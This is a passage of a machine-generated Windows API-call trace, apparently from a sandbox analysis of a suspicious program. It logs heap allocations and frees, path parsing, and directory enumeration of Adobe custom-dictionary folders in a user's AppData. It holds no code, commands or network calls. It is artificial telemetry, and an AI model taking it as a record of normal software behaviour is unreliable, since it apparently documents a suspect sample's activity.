HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.027] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8c58 [0070.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.027] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.027] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8c58 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ee8 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eddf8 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2ee8 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874f8 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874f8 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0070.028] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.028] PathFindFileNameW (pszPath="") returned="" [0070.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.029] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.029] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.029] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0070.029] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d798 | out: hHeap=0x5d0000) returned 1 [0070.029] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d798 [0070.030] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.031] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.031] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0070.033] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328d228 | out: hHeap=0x5d0000) returned 1 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0070.033] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8c58 [0070.033] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eddf8 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ee8 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31757d8 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874f8 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0070.034] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.034] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.034] PathFindFileNameW (pszPath="") returned="" [0070.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328d228 [0070.034] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.035] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.036] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.036] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.036] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.036] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 